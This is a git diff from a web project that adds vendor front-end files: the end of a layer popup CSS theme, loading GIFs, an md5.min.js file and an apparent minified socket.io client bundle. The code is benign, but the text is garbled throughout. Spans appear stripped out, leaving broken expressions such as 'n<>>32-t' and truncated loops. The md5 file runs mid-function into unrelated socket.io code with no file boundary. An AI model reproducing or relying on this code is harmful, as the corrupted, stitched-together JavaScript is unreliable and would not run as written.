a{background:#009f95;border-color:#009f95}.layui-layer-molv .layui-layer-btn .layui-layer-btn1{background:#92B8B1}.layui-layer-iconext{background:url(icon-ext.png) no-repeat}.layui-layer-prompt .layui-layer-input{display:block;width:230px;height:36px;margin:0 auto;line-height:30px;padding-left:10px;border:1px solid #e6e6e6;color:#333}.layui-layer-prompt textarea.layui-layer-input{width:300px;height:100px;line-height:20px;padding:6px 10px}.layui-layer-prompt .layui-layer-content{padding:20px}.layui-layer-prompt .layui-layer-btn{padding-top:0}.layui-layer-tab{box-shadow:1px 1px 50px rgba(0,0,0,.4)}.layui-layer-tab .layui-layer-title{padding-left:0;overflow:visible}.layui-layer-tab .layui-layer-title span{position:relative;float:left;min-width:80px;max-width:260px;padding:0 20px;text-align:center;overflow:hidden;cursor:pointer}.layui-layer-tab .layui-layer-title span.layui-this{height:43px;border-left:1px solid #eee;border-right:1px solid #eee;background-color:#fff;z-index:10}.layui-layer-tab .layui-layer-title span:first-child{border-left:none}.layui-layer-tabmain{line-height:24px;clear:both}.layui-layer-tabmain .layui-layer-tabli{display:none}.layui-layer-tabmain .layui-layer-tabli.layui-this{display:block}.layui-layer-photos{-webkit-animation-duration:.8s;animation-duration:.8s}.layui-layer-photos .layui-layer-content{overflow:hidden;text-align:center}.layui-layer-photos .layui-layer-phimg img{position:relative;width:100%;display:inline-block;*display:inline;*zoom:1;vertical-align:top}.layui-layer-imgbar,.layui-layer-imguide{display:none}.layui-layer-imgnext,.layui-layer-imgprev{position:absolute;top:50%;width:27px;_width:44px;height:44px;margin-top:-22px;outline:0;blr:expression(this.onFocus=this.blur())}.layui-layer-imgprev{left:10px;background-position:-5px -5px;_background-position:-70px -5px}.layui-layer-imgprev:hover{background-position:-33px -5px;_background-position:-120px -5px}.layui-layer-imgnext{right:10px;_right:8px;background-position:-5px -50px;_background-position:-70px -50px}.layui-layer-imgnext:hover{background-position:-33px -50px;_background-position:-120px -50px}.layui-layer-imgbar{position:absolute;left:0;bottom:0;width:100%;height:32px;line-height:32px;background-color:rgba(0,0,0,.8);background-color:#000\9;filter:Alpha(opacity=80);color:#fff;overflow:hidden;font-size:0}.layui-layer-imgtit *{display:inline-block;*display:inline;*zoom:1;vertical-align:top;font-size:12px}.layui-layer-imgtit a{max-width:65%;overflow:hidden;color:#fff}.layui-layer-imgtit a:hover{color:#fff;text-decoration:underline}.layui-layer-imgtit em{padding-left:10px;font-style:normal}@-webkit-keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);transform:scale(1)}}@keyframes layer-bounceOut{100%{opacity:0;-webkit-transform:scale(.7);-ms-transform:scale(.7);transform:scale(.7)}30%{-webkit-transform:scale(1.05);-ms-transform:scale(1.05);transform:scale(1.05)}0%{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}}.layer-anim-close{-webkit-animation-name:layer-bounceOut;animation-name:layer-bounceOut;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.2s;animation-duration:.2s}@media screen and (max-width:1100px){.layui-layer-iframe{overflow-y:auto;-webkit-overflow-scrolling:touch}} \ No newline at end of file diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/loading-0.gif b/public/static/handle/js/layer-v3.1.1/theme/default/loading-0.gif new file mode 100644 index 0000000..6f3c953 Binary files /dev/null and b/public/static/handle/js/layer-v3.1.1/theme/default/loading-0.gif differ diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/loading-1.gif b/public/static/handle/js/layer-v3.1.1/theme/default/loading-1.gif new file mode 100644 index 0000000..db3a483 Binary files /dev/null and b/public/static/handle/js/layer-v3.1.1/theme/default/loading-1.gif differ diff --git a/public/static/handle/js/layer-v3.1.1/theme/default/loading-2.gif b/public/static/handle/js/layer-v3.1.1/theme/default/loading-2.gif new file mode 100644 index 0000000..5bb90fd Binary files /dev/null and b/public/static/handle/js/layer-v3.1.1/theme/default/loading-2.gif differ diff --git a/public/static/handle/js/md5.min.js b/public/static/handle/js/md5.min.js new file mode 100644 index 0000000..f0a0c5f --- /dev/null +++ b/public/static/handle/js/md5.min.js @@ -0,0 +1,2 @@ +!function(n){"use strict";function d(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function f(n,t,r,e,o,u){return d(function(n,t){return n<>>32-t}(d(d(t,n),d(e,u)),o),r)}function l(n,t,r,e,o,u,c){return f(t&r|~t&e,n,t,o,u,c)}function g(n,t,r,e,o,u,c){return f(t&e|r&~e,n,t,o,u,c)}function v(n,t,r,e,o,u,c){return f(t^r^e,n,t,o,u,c)}function m(n,t,r,e,o,u,c){return f(r^(t|~e),n,t,o,u,c)}function i(n,t){var r,e,o,u,c;n[t>>5]|=128<>>9<<4)]=t;var f=1732584193,i=-271733879,a=-1732584194,h=271733878;for(r=0;r>5]>>>t%32&255);return r}function h(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<>>4&15)+e.charAt(15&t);return o}function r(n){return unescape(encodeURIComponent(n))}function o(n){return function(n){return a(i(h(n),8*n.length))}(r(n))}function u(n,t){return function(n,t){var r,e,o=h(n),u=[],c=[];for(u[15]=c[15]=void 0,160){this.extraHeaders=opts.extraHeaders}}this.open()}Socket.priorWebsocketSuccess=false;Emitter(Socket.prototype);Socket.protocol=parser.protocol;Socket.Socket=Socket;Socket.Transport=_dereq_("./transport");Socket.transports=_dereq_("./transports");Socket.parser=_dereq_("engine.io-parser");Socket.prototype.createTransport=function(name){debug('creating transport "%s"',name);var query=clone(this.query);query.EIO=parser.protocol;query.transport=name;if(this.id)query.sid=this.id;var transport=new transports[name]({agent:this.agent,hostname:this.hostname,port:this.port,secure:this.secure,path:this.path,query:query,forceJSONP:this.forceJSONP,jsonp:this.jsonp,forceBase64:this.forceBase64,enablesXDR:this.enablesXDR,timestampRequests:this.timestampRequests,timestampParam:this.timestampParam,policyPort:this.policyPort,socket:this,pfx:this.pfx,key:this.key,passphrase:this.passphrase,cert:this.cert,ca:this.ca,ciphers:this.ciphers,rejectUnauthorized:this.rejectUnauthorized,perMessageDeflate:this.perMessageDeflate,extraHeaders:this.extraHeaders});return transport};function clone(obj){var o={};for(var i in obj){if(obj.hasOwnProperty(i)){o[i]=obj[i]}}return o}Socket.prototype.open=function(){var transport;if(this.rememberUpgrade&&Socket.priorWebsocketSuccess&&this.transports.indexOf("websocket")!=-1){transport="websocket"}else if(0===this.transports.length){var self=this;setTimeout(function(){self.emit("error","No transports available")},0);return}else{transport=this.transports[0]}this.readyState="opening";try{transport=this.createTransport(transport)}catch(e){this.transports.shift();this.open();return}transport.open();this.setTransport(transport)};Socket.prototype.setTransport=function(transport){debug("setting transport %s",transport.name);var self=this;if(this.transport){debug("clearing existing transport %s",this.transport.name);this.transport.removeAllListeners()}this.transport=transport;transport.on("drain",function(){self.onDrain()}).on("packet",function(packet){self.onPacket(packet)}).on("error",function(e){self.onError(e)}).on("close",function(){self.onClose("transport close")})};Socket.prototype.probe=function(name){debug('probing transport "%s"',name);var transport=this.createTransport(name,{probe:1}),failed=false,self=this;Socket.priorWebsocketSuccess=false;function onTransportOpen(){if(self.onlyBinaryUpgrades){var upgradeLosesBinary=!this.supportsBinary&&self.transport.supportsBinary;failed=failed||upgradeLosesBinary}if(failed)return;debug('probe transport "%s" opened',name);transport.send([{type:"ping",data:"probe"}]);transport.once("packet",function(msg){if(failed)return;if("pong"==msg.type&&"probe"==msg.data){debug('probe transport "%s" pong',name);self.upgrading=true;self.emit("upgrading",transport);if(!transport)return;Socket.priorWebsocketSuccess="websocket"==transport.name;debug('pausing current transport "%s"',self.transport.name);self.transport.pause(function(){if(failed)return;if("closed"==self.readyState)return;debug("changing transport and sending upgrade packet");cleanup();self.setTransport(transport);transport.send([{type:"upgrade"}]);self.emit("upgrade",transport);transport=null;self.upgrading=false;self.flush()})}else{debug('probe transport "%s" failed',name);var err=new Error("probe error");err.transport=transport.name;self.emit("upgradeError",err)}})}function freezeTransport(){if(failed)return;failed=true;cleanup();transport.close();transport=null}function onerror(err){var error=new Error("probe error: "+err);error.transport=transport.name;freezeTransport();debug('probe transport "%s" failed because of error: %s',name,err);self.emit("upgradeError",error)}function onTransportClose(){onerror("transport closed")}function onclose(){onerror("socket closed")}function onupgrade(to){if(transport&&to.name!=transport.name){debug('"%s" works - aborting "%s"',to.name,transport.name);freezeTransport()}}function cleanup(){transport.removeListener("open",onTransportOpen);transport.removeListener("error",onerror);transport.removeListener("close",onTransportClose);self.removeListener("close",onclose);self.removeListener("upgrading",onupgrade)}transport.once("open",onTransportOpen);transport.once("error",onerror);transport.once("close",onTransportClose);this.once("close",onclose);this.once("upgrading",onupgrade);transport.open()};Socket.prototype.onOpen=function(){debug("socket open");this.readyState="open";Socket.priorWebsocketSuccess="websocket"==this.transport.name;this.emit("open");this.flush();if("open"==this.readyState&&this.upgrade&&this.transport.pause){debug("starting upgrade probes");for(var i=0,l=this.upgrades.length;i';iframe=document.createElement(html)}catch(e){iframe=document.createElement("iframe");iframe.name=self.iframeId;iframe.src="javascript:0"}iframe.id=self.iframeId;self.form.appendChild(iframe);self.iframe=iframe}initIframe();data=data.replace(rEscapedNewline,"\\\n");this.area.value=data.replace(rNewline,"\\n");try{this.form.submit()}catch(e){}if(this.iframe.attachEvent){this.iframe.onreadystatechange=function(){if(self.iframe.readyState=="complete"){complete()}}}else{this.iframe.onload=complete}}}).call(this,typeof self!=="undefined"?self:typeof window!=="undefined"?window:typeof global!=="undefined"?global:{})},{"./polling":8,"component-inherit":16}],7:[function(_dereq_,module,exports){(function(global){var XMLHttpRequest=_dereq_("xmlhttprequest-ssl");var Polling=_dereq_("./polling");var Emitter=_dereq_("component-emitter");var inherit=_dereq_("component-inherit");var debug=_dereq_("debug")("engine.io-client:polling-xhr");module.exports=XHR;module.exports.Request=Request;function empty(){}function XHR(opts){Polling.call(this,opts);if(global.location){var isSSL="https:"==location.protocol;var port=location.port;if(!port){port=isSSL?443:80}this.xd=opts.hostname!=global.location.hostname||port!=opts.port;this.xs=opts.secure!=isSSL}else{this.extraHeaders=opts.extraHeaders}}inherit(XHR,Polling);XHR.prototype.supportsBinary=true;XHR.prototype.request=function(opts){opts=opts||{};opts.uri=this.uri();opts.xd=this.xd;opts.xs=this.xs;opts.agent=this.agent||false;opts.supportsBinary=this.supportsBinary;opts.enablesXDR=this.enablesXDR;opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;opts.extraHeaders=this.extraHeaders;return new Request(opts)};XHR.prototype.doWrite=function(data,fn){var isBinary=typeof data!=="string"&&data!==undefined;var req=this.request({method:"POST",data:data,isBinary:isBinary});var self=this;req.on("success",fn);req.on("error",function(err){self.onError("xhr post error",err)});this.sendXhr=req};XHR.prototype.doPoll=function(){debug("xhr poll");var req=this.request();var self=this;req.on("data",function(data){self.onData(data)});req.on("error",function(err){self.onError("xhr poll error",err)});this.pollXhr=req};function Request(opts){this.method=opts.method||"GET";this.uri=opts.uri;this.xd=!!opts.xd;this.xs=!!opts.xs;this.async=false!==opts.async;this.data=undefined!=opts.data?opts.data:null;this.agent=opts.agent;this.isBinary=opts.isBinary;this.supportsBinary=opts.supportsBinary;this.enablesXDR=opts.enablesXDR;this.pfx=opts.pfx;this.key=opts.key;this.passphrase=opts.passphrase;this.cert=opts.cert;this.ca=opts.ca;this.ciphers=opts.ciphers;this.rejectUnauthorized=opts.rejectUnauthorized;this.extraHeaders=opts.extraHeaders;this.create()}Emitter(Request.prototype);Request.prototype.create=function(){var opts={agent:this.agent,xdomain:this.xd,xscheme:this.xs,enablesXDR:this.enablesXDR};opts.pfx=this.pfx;opts.key=this.key;opts.passphrase=this.passphrase;opts.cert=this.cert;opts.ca=this.ca;opts.ciphers=this.ciphers;opts.rejectUnauthorized=this.rejectUnauthorized;var xhr=this.xhr=new XMLHttpRequest(opts);var self=this;try{debug("xhr open %s: %s",this.method,this.uri);xhr.open(this.method,this.uri,this.async);try{if(this.extraHeaders){xhr.setDisableHeaderCheck(true);for(var i in this.extraHeaders){if(this.extraHeaders.hasOwnProperty(i)){xhr.setRequestHeader(i,this.extraHeaders[i])}}}}catch(e){}if(this.supportsBinary){xhr.responseType="arraybuffer"}if("POST"==this.method){try{if(this.isBinary){xhr.setRequestHeader("Content-type","application/octet-stream")}else{xhr.setRequestHeader("Content-type","text/plain;charset=UTF-8")}}catch(e){}}if("withCredentials"in xhr){xhr.withCredentials=true}if(this.hasXDR()){xhr.onload=function(){self.onLoad()};xhr.onerror=function(){self.onError(xhr.responseText)}}else{xhr.onreadystatechange=function(){if(4!=xhr.readyState)return;if(200==xhr.status||1223==xhr.status){self.onLoad()}else{setTimeout(function(){self.onError(xhr.status)},0)}}}debug("xhr data %s",this.data);xhr.send(this.data)}catch(e){setTimeout(function(){self.onError(e)},0);return}if(global.document){this.index=Request.requestsCount++;Request.requests[this.index]=this}};Request.prototype.onSuccess=function(){this.emit("success");this.cleanup()};Request.prototype.onData=function(data){this.emit("data",data);this.onSuccess()};Request.prototype.onError=function(err){this.emit("error",err);this.cleanup(true)};Request.prototype.cleanup=function(fromError){if("undefined"==typeof this.xhr||null===this.xhr){return}if(this.hasXDR()){this.xhr.onload=this.xhr.onerror=empty}else{this.xhr.onreadystatechange=empty}if(fromError){try{this.xhr.abort()}catch(e){}}if(global.document){delete Request.requests[this.index]}this.xhr=null};Request.prototype.onLoad=function(){var data;try{var contentType;try{contentType=this.xhr.getResponseHeader("Content-Type").split(";")[0]}catch(e){}if(contentType==="application/octet-stream"){data=this.xhr.response}else{if(!this.supportsBinary){data=this.xhr.responseText}else{try{data=String.fromCharCode.apply(null,new Uint8Array(this.xhr.response))}catch(e){var ui8Arr=new Uint8Array(this.xhr.response);var dataArray=[];for(var idx=0,length=ui8Arr.length;idxbytes){end=bytes}if(start>=bytes||start>=end||bytes===0){return new ArrayBuffer(0)}var abv=new Uint8Array(arraybuffer);var result=new Uint8Array(end-start);for(var i=start,ii=0;i>2];base64+=chars[(bytes[i]&3)<<4|bytes[i+1]>>4]; +base64+=chars[(bytes[i+1]&15)<<2|bytes[i+2]>>6];base64+=chars[bytes[i+2]&63]}if(len%3===2){base64=base64.substring(0,base64.length-1)+"="}else if(len%3===1){base64=base64.substring(0,base64.length-2)+"=="}return base64};exports.decode=function(base64){var bufferLength=base64.length*.75,len=base64.length,i,p=0,encoded1,encoded2,encoded3,encoded4;if(base64[base64.length-1]==="="){bufferLength--;if(base64[base64.length-2]==="="){bufferLength--}}var arraybuffer=new ArrayBuffer(bufferLength),bytes=new Uint8Array(arraybuffer);for(i=0;i>4;bytes[p++]=(encoded2&15)<<4|encoded3>>2;bytes[p++]=(encoded3&3)<<6|encoded4&63}return arraybuffer}})("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")},{}],14:[function(_dereq_,module,exports){(function(global){var BlobBuilder=global.BlobBuilder||global.WebKitBlobBuilder||global.MSBlobBuilder||global.MozBlobBuilder;var blobSupported=function(){try{var a=new Blob(["hi"]);return a.size===2}catch(e){return false}}();var blobSupportsArrayBufferView=blobSupported&&function(){try{var b=new Blob([new Uint8Array([1,2])]);return b.size===2}catch(e){return false}}();var blobBuilderSupported=BlobBuilder&&BlobBuilder.prototype.append&&BlobBuilder.prototype.getBlob;function mapArrayBufferViews(ary){for(var i=0;i=31}exports.formatters.j=function(v){return JSON.stringify(v)};function formatArgs(){var args=arguments;var useColors=this.useColors;args[0]=(useColors?"%c":"")+this.namespace+(useColors?" %c":" ")+args[0]+(useColors?"%c ":" ")+"+"+exports.humanize(this.diff);if(!useColors)return args;var c="color: "+this.color;args=[args[0],c,"color: inherit"].concat(Array.prototype.slice.call(args,1));var index=0;var lastC=0;args[0].replace(/%[a-z%]/g,function(match){if("%%"===match)return;index++;if("%c"===match){lastC=index}});args.splice(lastC,0,c);return args}function log(){return"object"===typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function save(namespaces){try{if(null==namespaces){exports.storage.removeItem("debug")}else{exports.storage.debug=namespaces}}catch(e){}}function load(){var r;try{r=exports.storage.debug}catch(e){}return r}exports.enable(load());function localstorage(){try{return window.localStorage}catch(e){}}},{"./debug":18}],18:[function(_dereq_,module,exports){exports=module.exports=debug;exports.coerce=coerce;exports.disable=disable;exports.enable=enable;exports.enabled=enabled;exports.humanize=_dereq_("ms");exports.names=[];exports.skips=[];exports.formatters={};var prevColor=0;var prevTime;function selectColor(){return exports.colors[prevColor++%exports.colors.length]}function debug(namespace){function disabled(){}disabled.enabled=false;function enabled(){var self=enabled;var curr=+new Date;var ms=curr-(prevTime||curr);self.diff=ms;self.prev=prevTime;self.curr=curr;prevTime=curr;if(null==self.useColors)self.useColors=exports.useColors();if(null==self.color&&self.useColors)self.color=selectColor();var args=Array.prototype.slice.call(arguments);args[0]=exports.coerce(args[0]);if("string"!==typeof args[0]){args=["%o"].concat(args)}var index=0;args[0]=args[0].replace(/%([a-z%])/g,function(match,format){if(match==="%%")return match;index++;var formatter=exports.formatters[format];if("function"===typeof formatter){var val=args[index];match=formatter.call(self,val);args.splice(index,1);index--}return match});if("function"===typeof exports.formatArgs){args=exports.formatArgs.apply(self,args)}var logFn=enabled.log||exports.log||console.log.bind(console);logFn.apply(self,args)}enabled.enabled=true;var fn=exports.enabled(namespace)?enabled:disabled;fn.namespace=namespace;return fn}function enable(namespaces){exports.save(namespaces);var split=(namespaces||"").split(/[\s,]+/);var len=split.length;for(var i=0;i1){return{type:packetslist[type],data:data.substring(1)}}else{return{type:packetslist[type]}}}var asArray=new Uint8Array(data);var type=asArray[0];var rest=sliceBuffer(data,1);if(Blob&&binaryType==="blob"){rest=new Blob([rest])}return{type:packetslist[type],data:rest}};exports.decodeBase64Packet=function(msg,binaryType){var type=packetslist[msg.charAt(0)];if(!global.ArrayBuffer){return{type:type,data:{base64:true,data:msg.substr(1)}}}var data=base64encoder.decode(msg.substr(1));if(binaryType==="blob"&&Blob){data=new Blob([data])}return{type:type,data:data}};exports.encodePayload=function(packets,supportsBinary,callback){if(typeof supportsBinary=="function"){callback=supportsBinary;supportsBinary=null}var isBinary=hasBinary(packets);if(supportsBinary&&isBinary){if(Blob&&!dontSendBlobs){return exports.encodePayloadAsBlob(packets,callback)}return exports.encodePayloadAsArrayBuffer(packets,callback)}if(!packets.length){return callback("0:")}function setLengthHeader(message){return message.length+":"+message}function encodeOne(packet,doneCallback){exports.encodePacket(packet,!isBinary?false:supportsBinary,true,function(message){doneCallback(null,setLengthHeader(message))})}map(packets,encodeOne,function(err,results){return callback(results.join(""))})};function map(ary,each,done){var result=new Array(ary.length);var next=after(ary.length,done);var eachWithIndex=function(i,el,cb){each(el,function(error,msg){result[i]=msg;cb(error,result)})};for(var i=0;i0){var tailArray=new Uint8Array(bufferTail);var isString=tailArray[0]===0;var msgLength="";for(var i=1;;i++){if(tailArray[i]==255)break;if(msgLength.length>310){numberTooLong=true;break}msgLength+=tailArray[i]}if(numberTooLong)return callback(err,0,1);bufferTail=sliceBuffer(bufferTail,2+msgLength.length);msgLength=parseInt(msgLength);var msg=sliceBuffer(bufferTail,0,msgLength);if(isString){try{msg=String.fromCharCode.apply(null,new Uint8Array(msg))}catch(e){var typed=new Uint8Array(msg);msg="";for(var i=0;i1e4)return;var match=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(str);if(!match)return;var n=parseFloat(match[1]);var type=(match[2]||"ms").toLowerCase();switch(type){case"years":case"year":case"yrs":case"yr":case"y":return n*y;case"days":case"day":case"d":return n*d;case"hours":case"hour":case"hrs":case"hr":case"h":return n*h;case"minutes":case"minute":case"mins":case"min":case"m":return n*m;case"seconds":case"second":case"secs":case"sec":case"s":return n*s;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return n}}function short(ms){if(ms>=d)return Math.round(ms/d)+"d";if(ms>=h)return Math.round(ms/h)+"h";if(ms>=m)return Math.round(ms/m)+"m";if(ms>=s)return Math.round(ms/s)+"s";return ms+"ms"}function long(ms){return plural(ms,d,"day")||plural(ms,h,"hour")||plural(ms,m,"minute")||plural(ms,s,"second")||ms+" ms"}function plural(ms,n,name){if(ms=55296&&value<=56319&&counter65535){value-=65536;output+=stringFromCharCode(value>>>10&1023|55296);value=56320|value&1023}output+=stringFromCharCode(value)}return output}function checkScalarValue(codePoint){if(codePoint>=55296&&codePoint<=57343){throw Error("Lone surrogate U+"+codePoint.toString(16).toUpperCase()+" is not a scalar value")}}function createByte(codePoint,shift){return stringFromCharCode(codePoint>>shift&63|128)}function encodeCodePoint(codePoint){if((codePoint&4294967168)==0){return stringFromCharCode(codePoint)}var symbol="";if((codePoint&4294965248)==0){symbol=stringFromCharCode(codePoint>>6&31|192)}else if((codePoint&4294901760)==0){checkScalarValue(codePoint);symbol=stringFromCharCode(codePoint>>12&15|224);symbol+=createByte(codePoint,6)}else if((codePoint&4292870144)==0){symbol=stringFromCharCode(codePoint>>18&7|240);symbol+=createByte(codePoint,12);symbol+=createByte(codePoint,6)}symbol+=stringFromCharCode(codePoint&63|128);return symbol}function utf8encode(string){var codePoints=ucs2decode(string);var length=codePoints.length;var index=-1;var codePoint;var byteString="";while(++index=byteCount){throw Error("Invalid byte index")}var continuationByte=byteArray[byteIndex]&255;byteIndex++;if((continuationByte&192)==128){return continuationByte&63}throw Error("Invalid continuation byte")}function decodeSymbol(){var byte1;var byte2;var byte3;var byte4;var codePoint;if(byteIndex>byteCount){throw Error("Invalid byte index")}if(byteIndex==byteCount){return false}byte1=byteArray[byteIndex]&255;byteIndex++;if((byte1&128)==0){return byte1}if((byte1&224)==192){var byte2=readContinuationByte();codePoint=(byte1&31)<<6|byte2;if(codePoint>=128){return codePoint}else{throw Error("Invalid continuation byte")}}if((byte1&240)==224){byte2=readContinuationByte();byte3=readContinuationByte();codePoint=(byte1&15)<<12|byte2<<6|byte3;if(codePoint>=2048){checkScalarValue(codePoint);return codePoint}else{throw Error("Invalid continuation byte")}}if((byte1&248)==240){byte2=readContinuationByte();byte3=readContinuationByte();byte4=readContinuationByte();codePoint=(byte1&15)<<18|byte2<<12|byte3<<6|byte4;if(codePoint>=65536&&codePoint<=1114111){return codePoint}}throw Error("Invalid UTF-8 detected")}var byteArray;var byteCount;var byteIndex;function utf8decode(byteString){byteArray=ucs2decode(byteString);byteCount=byteArray.length;byteIndex=0;var codePoints=[];var tmp;while((tmp=decodeSymbol())!==false){codePoints.push(tmp)}return ucs2encode(codePoints)}var utf8={version:"2.0.0",encode:utf8encode,decode:utf8decode};if(typeof define=="function"&&typeof define.amd=="object"&&define.amd){define(function(){return utf8})}else if(freeExports&&!freeExports.nodeType){if(freeModule){freeModule.exports=utf8}else{var object={};var hasOwnProperty=object.hasOwnProperty;for(var key in utf8){hasOwnProperty.call(utf8,key)&&(freeExports[key]=utf8[key])}}}else{root.utf8=utf8}})(this)}).call(this,typeof self!=="undefined"?self:typeof window!=="undefined"?window:typeof global!=="undefined"?global:{})},{}],30:[function(_dereq_,module,exports){"use strict";var alphabet="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_".split(""),length=64,map={},seed=0,i=0,prev;function encode(num){var encoded="";do{encoded=alphabet[num%length]+encoded;num=Math.floor(num/length)}while(num>0);return encoded}function decode(str){var decoded=0;for(i=0;i0&&!this.encoding){var pack=this.packetBuffer.shift();this.packet(pack)}};Manager.prototype.cleanup=function(){debug("cleanup");var sub;while(sub=this.subs.shift())sub.destroy();this.packetBuffer=[];this.encoding=false;this.lastPing=null;this.decoder.destroy()};Manager.prototype.close=Manager.prototype.disconnect=function(){debug("disconnect");this.skipReconnect=true;this.reconnecting=false;if("opening"==this.readyState){this.cleanup()}this.backoff.reset();this.readyState="closed";if(this.engine)this.engine.close()};Manager.prototype.onclose=function(reason){debug("onclose");this.cleanup();this.backoff.reset();this.readyState="closed";this.emit("close",reason);if(this._reconnection&&!this.skipReconnect){this.reconnect()}};Manager.prototype.reconnect=function(){if(this.reconnecting||this.skipReconnect)return this;var self=this;if(this.backoff.attempts>=this._reconnectionAttempts){debug("reconnect failed");this.backoff.reset();this.emitAll("reconnect_failed");this.reconnecting=false}else{var delay=this.backoff.duration();debug("will wait %dms before reconnect attempt",delay);this.reconnecting=true;var timer=setTimeout(function(){if(self.skipReconnect)return;debug("attempting reconnect");self.emitAll("reconnect_attempt",self.backoff.attempts);self.emitAll("reconnecting",self.backoff.attempts);if(self.skipReconnect)return;self.open(function(err){if(err){debug("reconnect attempt error");self.reconnecting=false;self.reconnect();self.emitAll("reconnect_error",err.data)}else{debug("reconnect success");self.onreconnect()}})},delay);this.subs.push({destroy:function(){clearTimeout(timer)}})}};Manager.prototype.onreconnect=function(){var attempt=this.backoff.attempts;this.reconnecting=false;this.backoff.reset();this.updateSocketIds();this.emitAll("reconnect",attempt)}},{"./on":33,"./socket":34,backo2:36,"component-bind":37,"component-emitter":38,debug:39,"engine.io-client":1,indexof:42,"socket.io-parser":47}],33:[function(_dereq_,module,exports){module.exports=on;function on(obj,ev,fn){obj.on(ev,fn);return{destroy:function(){obj.removeListener(ev,fn)}}}},{}],34:[function(_dereq_,module,exports){var parser=_dereq_("socket.io-parser");var Emitter=_dereq_("component-emitter");var toArray=_dereq_("to-array");var on=_dereq_("./on");var bind=_dereq_("component-bind");var debug=_dereq_("debug")("socket.io-client:socket");var hasBin=_dereq_("has-binary");module.exports=exports=Socket;var events={connect:1,connect_error:1,connect_timeout:1,connecting:1,disconnect:1,error:1,reconnect:1,reconnect_attempt:1,reconnect_failed:1,reconnect_error:1,reconnecting:1,ping:1,pong:1};var emit=Emitter.prototype.emit;function Socket(io,nsp){this.io=io;this.nsp=nsp;this.json=this;this.ids=0;this.acks={};this.receiveBuffer=[];this.sendBuffer=[];this.connected=false;this.disconnected=true;if(this.io.autoConnect)this.open()}Emitter(Socket.prototype);Socket.prototype.subEvents=function(){if(this.subs)return;var io=this.io;this.subs=[on(io,"open",bind(this,"onopen")),on(io,"packet",bind(this,"onpacket")),on(io,"close",bind(this,"onclose"))]};Socket.prototype.open=Socket.prototype.connect=function(){if(this.connected)return this;this.subEvents();this.io.open();if("open"==this.io.readyState)this.onopen();this.emit("connecting");return this};Socket.prototype.send=function(){var args=toArray(arguments);args.unshift("message");this.emit.apply(this,args);return this};Socket.prototype.emit=function(ev){if(events.hasOwnProperty(ev)){emit.apply(this,arguments);return this}var args=toArray(arguments);var parserType=parser.EVENT;if(hasBin(args)){parserType=parser.BINARY_EVENT}var packet={type:parserType,data:args};packet.options={};packet.options.compress=!this.flags||false!==this.flags.compress;if("function"==typeof args[args.length-1]){debug("emitting packet with ack id %d",this.ids);this.acks[this.ids]=args.pop();packet.id=this.ids++}if(this.connected){this.packet(packet)}else{this.sendBuffer.push(packet)}delete this.flags;return this};Socket.prototype.packet=function(packet){packet.nsp=this.nsp;this.io.packet(packet)};Socket.prototype.onopen=function(){debug("transport is open - connecting");if("/"!=this.nsp){this.packet({type:parser.CONNECT})}};Socket.prototype.onclose=function(reason){debug("close (%s)",reason);this.connected=false;this.disconnected=true;delete this.id;this.emit("disconnect",reason)};Socket.prototype.onpacket=function(packet){if(packet.nsp!=this.nsp)return;switch(packet.type){case parser.CONNECT:this.onconnect();break;case parser.EVENT:this.onevent(packet);break;case parser.BINARY_EVENT:this.onevent(packet);break;case parser.ACK:this.onack(packet);break;case parser.BINARY_ACK:this.onack(packet);break;case parser.DISCONNECT:this.ondisconnect();break;case parser.ERROR:this.emit("error",packet.data);break}};Socket.prototype.onevent=function(packet){var args=packet.data||[];debug("emitting event %j",args);if(null!=packet.id){debug("attaching ack callback to event");args.push(this.ack(packet.id))}if(this.connected){emit.apply(this,args)}else{this.receiveBuffer.push(args)}};Socket.prototype.ack=function(id){var self=this;var sent=false;return function(){if(sent)return;sent=true;var args=toArray(arguments);debug("sending ack %j",args);var type=hasBin(args)?parser.BINARY_ACK:parser.ACK;self.packet({type:type,id:id,data:args})}};Socket.prototype.onack=function(packet){var ack=this.acks[packet.id];if("function"==typeof ack){debug("calling ack %s with %j",packet.id,packet.data);ack.apply(this,packet.data);delete this.acks[packet.id]}else{debug("bad ack %s",packet.id)}};Socket.prototype.onconnect=function(){this.connected=true;this.disconnected=false;this.emit("connect");this.emitBuffered()};Socket.prototype.emitBuffered=function(){var i;for(i=0;i0&&opts.jitter<=1?opts.jitter:0;this.attempts=0}Backoff.prototype.duration=function(){var ms=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var rand=Math.random();var deviation=Math.floor(rand*this.jitter*ms);ms=(Math.floor(rand*10)&1)==0?ms-deviation:ms+deviation}return Math.min(ms,this.max)|0};Backoff.prototype.reset=function(){this.attempts=0};Backoff.prototype.setMin=function(min){this.ms=min};Backoff.prototype.setMax=function(max){this.max=max};Backoff.prototype.setJitter=function(jitter){this.jitter=jitter}},{}],37:[function(_dereq_,module,exports){var slice=[].slice;module.exports=function(obj,fn){if("string"==typeof fn)fn=obj[fn];if("function"!=typeof fn)throw new Error("bind() requires a function");var args=slice.call(arguments,2);return function(){return fn.apply(obj,args.concat(slice.call(arguments)))}}},{}],38:[function(_dereq_,module,exports){module.exports=Emitter;function Emitter(obj){if(obj)return mixin(obj)}function mixin(obj){for(var key in Emitter.prototype){obj[key]=Emitter.prototype[key]}return 